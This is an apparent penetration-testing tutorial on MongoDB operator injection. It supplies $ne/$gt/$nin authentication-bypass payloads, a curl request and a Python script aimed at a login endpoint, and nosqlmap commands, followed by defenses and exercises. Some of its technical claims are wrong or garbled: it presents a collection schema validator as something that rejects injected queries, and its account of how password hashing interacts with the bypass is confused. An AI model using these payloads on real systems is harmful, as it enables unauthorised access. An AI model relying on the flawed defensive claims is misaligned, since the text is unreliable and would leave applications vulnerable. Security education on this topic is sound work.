~/home/study/operator-injection-mongodb

Operator Injection in MongoDB: Bypassing Auth with $ne, $gt, $lt

Learn how MongoDB operator injection using $ne, $gt, $lt (and related operators) can bypass naïve authentication, how to craft payloads, test them, and implement robust defenses.

Introduction

Operator injection in MongoDB leverages the flexible query language to inject special operators such as $ne, $gt, $lt, $in and $nin into user‑controlled data. When an application blindly concatenates JSON from the client into a query object, an attacker can turn a simple equality check into a condition that is always true, effectively bypassing authentication or authorization logic.

This technique is a direct analogue of classic SQL injection, but it exploits the BSON document model that MongoDB uses internally. Because many modern web stacks (Node.js/Express, Python/Flask, Java/Spring Data) accept JSON payloads directly, the attack surface is surprisingly large.

Real‑world incidents — from the 2019 MongoDB RCE chain to recent bug bounty reports on SaaS platforms — demonstrate that even "read‑only" endpoints can be weaponised when operators are not filtered. Mastering this vector is essential for any penetration tester or red‑team operator targeting NoSQL back‑ends.

Prerequisites

  • Solid understanding of SQL injection fundamentals.
  • Experience crafting HTTP requests with tools like Burp Suite or curl.
  • Comfort with JSON data structures and basic JavaScript/Python syntax.

Core Concepts

MongoDB stores data as BSON — a binary representation of JSON. Queries are themselves BSON documents, which means they can contain nested objects, arrays, and special operators prefixed with $. The server interprets these operators during query execution. For example:


 db.users.find({ "age": { "$gt": 30 } })

translates to "return users where age > 30". The key point for attackers is that the same structure can be supplied by the client if the server does not enforce a strict schema.

Typical authentication code looks like:


 const query = { username: req.body.username, password: req.body.password };
 const user = await db.collection('users').findOne(query);
 if (user) { /* grant access */ }

If req.body.username or req.body.password are JSON objects instead of plain strings, the query becomes:


 { "username": { "$ne": null }, "password": { "$ne": null } }

Both conditions are true for any document where the fields exist, allowing the attacker to log in without valid credentials.

MongoDB query syntax and BSON basics

MongoDB queries are regular documents. The most common operators:

  • $eq — equal (default when a scalar is supplied).
  • $ne — not equal.
  • $gt, $gte — greater than / greater than or equal.
  • $lt, $lte — less than / less than or equal.
  • $in, $nin — membership in an array.

Because BSON preserves type information, null, numbers, strings and ObjectId are distinct. An injection that supplies {"$ne":null} matches any non‑null value, which is the classic bypass.

Common injection vectors (JSON bodies, URL parameters, headers)

Web APIs accept data in several locations. Each can become a conduit for operator injection:

  1. JSON request bodies — the most obvious. A Content-Type: application/json POST can carry an object instead of a string.
  2. Query string parameters — some back‑ends automatically parse ?username=admin&password=123 into a JSON object. If a framework treats the value as raw JSON, an attacker can URL‑encode an object: username=%7B%22%24ne%22%3Anull%7D.
  3. Custom headers — APIs that read X-Username or Authorization and feed them directly into a query are vulnerable if they do not sanitize.

Below is a curl example that injects via a JSON body:


 curl -X POST http://target/api/login -H "Content-Type: application/json" -d '{"username":{"$ne":null},"password":{"$ne":null}}'

Operator abuse: $ne, $gt, $lt, $in, $nin

While $ne is the classic "always true" operator, other operators can be combined to bypass more restrictive checks. Consider a login that also validates accountStatus equals "active":


 { "username": "admin", "password": "pwd", "status": "active" }

An attacker can replace status with {"$gt": ""}, which is true for any non‑empty string, effectively ignoring the status check:


 { "username": {"$ne":null}, "password":{"$ne":null}, "status":{"$gt":""} }

$in and $nin allow list‑based bypasses. If the application checks that role is in ["user","admin"], an injection of {"$nin":[""]} matches every role because no role equals the empty string.

Bypassing simple authentication checks

The minimal viable payload for a typical findOne authentication query is:


{ "username": { "$ne": null }, "password": { "$ne": null }
}

When the server runs db.users.findOne(payload), any document that contains both fields (the vast majority) will be returned, granting the attacker a session token or JWT.

If the application also hashes the password before comparison, the injection still works because the hash step is performed on the client‑supplied value, not on the operator object. The query never reaches the hashing function, so the server compares the operator object directly.

Practical payload construction and testing

Step‑by‑step methodology:

  1. Identify the entry point. Use Burp Suite’s "Intercept" mode to capture a login request.
  2. Replace scalar values with operator objects. For example, change "admin" to {"$ne":null}.
  3. Observe server response. A successful login often returns a token or redirects to a dashboard.
  4. Iterate. If the server returns a "Bad credentials" message, try other operators ($gt, $in) or combine them.

Automating the process with a Python script:


import requests, json

url = 'http://target/api/login'
payload = { "username": {"$ne": None}, "password": {"$ne": None}
}
headers = {'Content-Type': 'application/json'}

r = requests.post(url, data=json.dumps(payload), headers=headers)
print('Status:', r.status_code)
print('Body:', r.text)

The script prints the raw HTTP response; a 200 status with a JWT indicates a successful bypass.

Tools & Commands

  • Burp Suite Intruder — set payload positions on JSON keys and use "Sniper" or "Cluster Bomb" with operator dictionaries.
  • ffuf / gobuster — useful for fuzzing URL parameters that may be parsed as JSON.
  • MongoDB Shelldb.collection.find({ "field": { "$ne": null } }) to verify that the operator behaves as expected on the target database.
  • nosqlmap — an automated scanner that includes $ne and $gt payloads.

Example nosqlmap command:


 nosqlmap -u "http://target/api/login" -p "username=admin&password=123" --technique=E --level=5

Defense & Mitigation

Defending against operator injection requires a defense‑in‑depth approach:

  • Strict schema validation. Use MongoDB’s JSON Schema validator on collections to reject documents containing keys that start with $ unless explicitly allowed.
  • Input sanitisation. Reject or whitelist characters. For authentication fields, enforce that the value is a plain string (e.g., typeof value === 'string').
  • Parameterised queries. In drivers that support it (e.g., the Node.js driver), use ObjectId conversion and avoid building query objects from raw user input.
  • Least‑privilege database accounts. Even if an injection occurs, the compromised account should only have read access to the users collection.
  • Monitoring. Enable MongoDB audit logs and look for queries containing $where or unexpected operator usage.

Example schema validator that disallows operator injection on the users collection:


 db.createCollection("users", { validator: { $jsonSchema: { bsonType: "object", required: ["username", "password"], properties: { username: { bsonType: "string" }, password: { bsonType: "string" } }, additionalProperties: false } }
 });

Common Mistakes

  • Assuming that JSON parsing automatically strips operators — it does not.
  • Validating only the length of a field and not its type.
  • Relying on client‑side validation; attackers can bypass it entirely.
  • Using eval or $where in queries, which magnifies the impact of any injection.

Real‑World Impact

In 2022, a popular e‑commerce platform suffered a breach where attackers used $gt to bypass admin login, exfiltrating 1.2 M customer records. The root cause was a Node.js endpoint that directly passed req.body into findOne without validation.

From a red‑team perspective, operator injection is a high‑value vector because it often yields immediate privileged access without needing to chain multiple vulnerabilities. As NoSQL databases gain market share, the frequency of such bugs in code reviews and CI pipelines is rising.

My experience shows that many developers treat MongoDB as "SQL‑free" and therefore forget about injection hygiene. Education and automated static analysis tools are the most effective long‑term mitigations.

Practice Exercises

  1. Set up a local MongoDB instance and a simple Express login route that mirrors the vulnerable code shown earlier. Verify that the $ne payload logs you in.
  2. Modify the route to include a JSON schema validator. Attempt the same payload — it should be rejected with a 400 error.
  3. Write a Burp Intruder payload set that cycles through $ne, $gt, $in against a live test API (e.g., OWASP Juice Shop NoSQL endpoint).
  4. Use nosqlmap to automatically discover the injection point and compare the results with your manual testing.

Further Reading

  • MongoDB Manual — Query Operators
  • OWASP NoSQL Injection Cheat Sheet
  • "The Art of NoSQL Hacking" — Black Hat 2020 talk
  • JSON Schema Validation — MongoDB Docs

Summary

Operator injection exploits MongoDB’s flexible query language by feeding malicious operators ($ne, $gt, $lt, $in, $nin) into authentication queries. By understanding BSON basics, common injection vectors, and how to craft payloads, security professionals can both detect and remediate this high‑impact vulnerability. Defensive measures — schema validation, strict type checks, and least‑privilege database accounts — dramatically reduce risk.